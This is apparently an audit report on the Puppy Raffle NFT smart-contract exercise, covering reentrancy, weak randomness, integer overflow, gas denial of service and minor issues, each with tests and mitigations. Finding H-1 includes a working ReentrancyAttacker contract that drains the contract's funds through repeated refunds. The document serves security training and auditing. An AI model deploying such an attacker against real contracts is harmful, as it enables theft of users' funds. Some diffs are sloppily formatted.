

Puppy Raffle

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Roles

Owner: The owner of the protocol, who can set the fee address and withdraw fees.

Player: A user who enters the raffle by calling the `enterRaffle` function.

Issues found in the audit

Findings

High [H]

Medium [M]

Low [L]

Informational [I]

Gas optimizations [G]

High

[H-1] Reentrancy: State change after external call in `PuppyRaffle::refund`

Description `PuppyRaffle::refund` function doesn't follow CEI (Changes, Effects, Interactions) , enables users to drain funds.

In the `PuppyRaffle::refund` function we first make an external call to the `msg.sender` address and only making that external call do we update `PuppyRaffle::players` array

```
function refund(uint256 playerIndex) public {

    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not");

    payable(msg.sender).sendValue(entranceFee);

    players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

A player who has entered in the raffle could have a `receive/fallback` function that calls `PuppyRaffle::refund` function again and claim refund again

Impact All fees paid by raffle entrants could be stolen by reentrancy

IMPACT: HIGH LIKELIHOOD: HIGH

Proof of Concept

1. User enters the raffle
2. Attacker sets up contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code

Code

```
function test_ReentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
    uint256 balanceBefore = address(playerOne).balance;
    uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(playerOne);

    vm.prank(playerOne);
    puppyRaffle.refund(indexOfPlayer);

    assertEq(address(playerOne).balance, balanceBefore + entranceFee);
}
```

```

ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(puppyRaffle);
address attackUser = makeAddr("attackUser");
vm.deal(attackUser, 1 ether);

uint256 startingAttackerBalance = address(reentrancyAttacker).balance;
uint256 startingContractBalance = address(puppyRaffle).balance;

vm.prank(attackUser);
reentrancyAttacker.attack{value: entranceFee}();

console.log("Starting attacker contract balance: ", startingAttackerBalance);
console.log("Starting contract balance: ", startingContractBalance);

console.log("Ending attacker contract balance: ", address(reentrancyAttacker).balance);
console.log("Ending contract balance: ", address(puppyRaffle).balance);
}

```

and this attacker contract example

```

contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}

```

```

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}

```

Recomended Mitigation

Changing state after an external call can lead to re-entrancy attacks. Use the checks-effects-interactions pattern to avoid this issue.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 101

```

State is changed at: players[playerIndex] = address(0) solidity
payable(msg.sender).sendValue(entranceFee);

function refund(uint256 playerIndex) public {

    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not a player");
+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);
    payable(msg.sender).sendValue(entranceFee);

-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}

```

[H-2] Weak PRNG in PuppyRaffle::selectWinner function allowing miners or users to influence the outcome of the raffle

Severity: High

Confidence: Medium

This is predictable

```

'''javascript
uint256 winnerIndex =
    uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)))
    address winner = players[winnerIndex];
'''

```

Description Weak PRNG due to a modulo on block.timestamp, now or block-hash. These can be influenced by miners to some extent so they should be

avoided. **Impact** Users could be influence the winner of the raffle by calling `PuppyRaffle::selectWinner` at a specific time or with a specific blockhash.

Proof of Concept 1. Validators can influence the `block.timestamp` and `blockhash` to some extent, so they could call `PuppyRaffle::selectWinner` at a specific time or with a specific blockhash to influence the outcome of the raffle. 2. Users can also influence the outcome of the raffle by calling `PuppyRaffle::selectWinner` at a specific time or with a specific blockhash. 3. User can revert the `PuppyRaffle::selectWinner` transaction if they don't like the outcome of the raffle, and try again in the next block. **Recommended Mitigation** Considering using a verifiable random function (VRF) or a commit-reveal scheme to generate a random number that is not predictable by miners or users.

[H-3] Integer Overflow in `PuppyRaffle::enterRaffle` function when calculating the total fee.

Description Integer overflow in `PuppyRaffle::enterRaffle` function when calculating the total fee. IN solidity versions prior to 0.8.0, integer overflow and underflow are not checked by default, which can lead to unexpected behavior and vulnerabilities in smart contracts.

```
““javascript
    uint64 value = type(uint64).max;
    //value = 18446744073709551615
    uint64 totalFee = value + 1;
    //totalFee = 0
““
```

Impact In `PuppyRaffle::selectWinner` function we calculate the prize pool and fee based on the total amount collected, if the total amount collected is greater than `type(uint64).max` the total fee in `PuppyRaffle::withdrawFees` will overflow and be 0, which means that the `PuppyRaffle::feeAddress` address will not receive any fees.

Proof of Concept 1. We finish a raffle of 4 to collect some fees 2. We then have 89 players enter a new raffle, and conclude the raffle 3. The total fees will be less than the starting total fees, and we are unable to withdraw any fees because of the require check in `PuppyRaffle::withdrawFees`

<details><summary>Code</summary>

```
““javascript
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
```

```

// startingTotalFees = 8000000000000000000

// We then have 89 players enter a new raffle
uint256 playersNum = 89;
address[] memory players = new address[] (playersNum);
for (uint256 i = 0; i < playersNum; i++) {
    players[i] = address(i);
}
puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
// We end the raffle
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);

// And here is where the issue occurs
// We will now have fewer fees even though we just finished a second raffle
puppyRaffle.selectWinner();

uint256 endingTotalFees = puppyRaffle.totalFees();
console.log("ending total fees", endingTotalFees);
assert(endingTotalFees < startingTotalFees);

// We are also unable to withdraw any fees because of the require check
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}
'''

```

Recommended Mitigation 1. Use a recent version of Solidity (at least 0.8.0) with no known severe issues, which has built-in overflow and underflow checks. 2. Use a larger integer type for the total fees, such as `uint256`, to avoid overflow issues. 3. Use a library such as OpenZeppelin's `SafeMath` to perform arithmetic operations with overflow and underflow checks. 4. Remove the balance check in `PuppyRaffle::withdrawFees` function, as it is not necessary and can cause issues with the total fees calculation.

```

'''diff
function withdrawFees() external onlyOwner {
    • require(address(this).balance >= totalFees, "PuppyRaffle: Not enough balance to withdraw");
}
'''

```

Medium

M-1: Costly operations inside loop

Invoking SSTORE operations in loops may waste gas. Use a local variable to hold the loop computation result.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 81

```
for (uint256 i = 0; i < newPlayers.length; i++) {
```

Proof of Concept

```
function testReadDuplicateGasCosts() public {
    vm.txGasPrice(1);

    // We will enter 5 players into the raffle
    uint256 playersNum = 100;
    address[] memory players = new address[] (playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    // And see how much gas it cost to enter
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    uint256 gasEnd = gasleft();
    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
    console.log("Gas cost of the 1st 100 players:", gasUsedFirst);

    // We will enter 5 more players into the raffle
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i + playersNum);
    }
    // And see how much more expensive it is
    gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    gasEnd = gasleft();
    uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
    console.log("Gas cost of the 2nd 100 players:", gasUsedSecond);

    assert(gasUsedFirst < gasUsedSecond);
    // Logs:
    //     Gas cost of the 1st 100 players: 6251420
    //     Gas cost of the 2nd 100 players: 18066229
}
```

Mitigations 1. Use a local variable to hold the loop computation result and

update the state variable after the loop. 2. Use a Mapping to store the players instead of an array, this will allow to check for duplicates in $O(1)$ time complexity instead of $O(n^2)$ time complexity. 3. Use a merkle tree to store the players, this will allow to check for duplicates in $O(\log n)$ time complexity instead of $O(n^2)$ time complexity.

[M-2] Smart contracts wallet raffle winners without a receive or fallback function will be unable to receive the prize pool

Description If a smart contract wallet wins the raffle but does not have a receive or fallback function, it will be unable to receive the prize pool in `PuppyRaffle::selectWinner` function, and the transaction will revert. **Impact** If `PuppyRaffle::selectWinner` function is also responsible for resetting the raffle, this will cause the raffle to be stuck and unable to continue. The winner will also be unable to receive their prize pool. **Proof of Concept** 1. Deploy a smart contract wallet without a `receive` or `fallback` function 2. Enter the raffle with the smart contract wallet 3. Call `PuppyRaffle::selectWinner` function and the transaction will revert, and the raffle will be stuck.

Recommended Mitigation

1. create a mapping of winners and their prize pool, and allow them to withdraw their prize

Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players AND FOR PLAYER AT INDEX 0

Description If a player is in 0 index position at `PuppyRaffle::players` array, this will return 0, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }

    return 0;
}
```

Impact A player at index 0 may think incorrectly they have not entered in the raffle

Proof of Concept 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User think they have not entered correctly.

Recommended Mitigation change return 0 for a revert

```

        function getActivePlayerIndex(address player) external view returns (uint256) {
            for (uint256 i = 0; i < players.length; i++) {
                if (players[i] == player) {
                    return i;
                }
            }
+         revert("player is not in the raffle")
-         return 0;
        }

```

Informational

[I-1]: Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 2

```
pragma solidity ^0.7.6;
```

Recommendation:

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-2]: Using an outdated Solidity version is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Version constraint 0.7.6 contains known severe issues (<https://solidity.readthedocs.io/en/latest/bugs.html>)

- FullInlinerNonExpressionSplitArgumentEvaluationOrder - MissingSideEffectsOnSelectorAccess - AbiReencodingHeadOverflowWithStaticArrayCleanup - DirtyByteArrayToStorage - DataLocationChangeInInternalOverride - NestedCalldataArrayAbiReencodingSizeValidation - SignedImmutables - ABIDecodeTwoDimensionalArrayMemory - KeccakCaching.

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 168

```
feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::SelectWinner should follow CEI

Keep the code clean and follow the CEI pattern, first change state, then make external calls.

```
function selectWinner() external {

    /*code line-174*/
    previousWinner = winner;
+   _safeMint(winner, tokenId);
    (bool success,) = winner.call{value: prizePool}("");
    require(success, "PuppyRaffle: Failed to send prize pool to winner");

-   _safeMint(winner, tokenId);
}
```

[I-5] Use of Hardcoded Values in PuppyRaffle::selectWinner function

Description It can be confusing to use hardcoded values in the code, it is better to use constants or variables with descriptive names. **Impact** Hardcoded values can make the code less readable and harder to maintain. They can also lead to errors if the same value is used in multiple places and needs to be updated.

Recommended Mitigation “diff contract PuppyRaffle is ERC721, Ownable {
+ uint256 private constant PRIZE_POOL_PERCENTAGE = 80; + uint256
private constant FEE_PERCENTAGE = 20;

```
/*code line-152*/
```

- uint256 prizePool = (totalAmountCollected * 80) / 100;
- uint256 fee = (totalAmountCollected * 20) / 100;
- uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / 100;
- uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / 100; }

[I-6] State changes are Missing Events

****Description****

State changes are missing events, it is a good practice to emit events for state changes.

****Impact****

Without a 'indexed' event, it is not possible to filter the events by the player address.

****Mitigation****

Add an event for the state change, and emit the event when the state change occurs.

```

'''diff
function selectWinner() external {
    /*code line-174*/
+    emit RaffleWinnerSelected(winner, prizePool);
    raffleStartTime = block.timestamp;
    previousWinner = winner; // q Does it really mathers?
    //@audit Reentrancy vulnerability
    (bool success,) = winner.call{value: prizePool}("");
    require(success, "PuppyRaffle: Failed to send prize pool to winner");
    //fixes: apply CEI pattern to prevent reentrancy
    _safeMint(winner, tokenId);
}

```

[I-7] Dead Code in _isActivePlayer function

this code is unnused and can be removed to improve code readability and maintainability.

```

- function _isActivePlayer() internal view returns (bool) {
-     for (uint256 i = 0; i < players.length; i++) {
-         if (players[i] == msg.sender) {
-             return true;
-         }
-     }
-     return false;
- }

```

Gas

[G-1] Unchaged state variables should be Inmutable or Constants

PuppyRaffle::raffleDuration should be inmutable
PuppyRaffle::commonImageUri should be constant
PuppyRaffle::rareImageUri should be constant
PuppyRaffle::legendaryImageUri should be constant

Reading from storage is much more expensive than reading from inmutable or constants.

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, memory is more efficient.

```

+     uint256 playerLength = players.length;
-     for (uint256 i = 0; i < players.length - 1; i++) {

```

```
+   for (uint256 i = 0; i < playerLength - 1; i++) {  
-       for (uint256 j = i + 1; j < players.length; j++) {  
+           for (uint256 j = i + 1; j < playerLength; j++) {  
               require(players[i] != players[j], "PuppyRaffle: Duplicate player");  
           }  
       }  
   }
```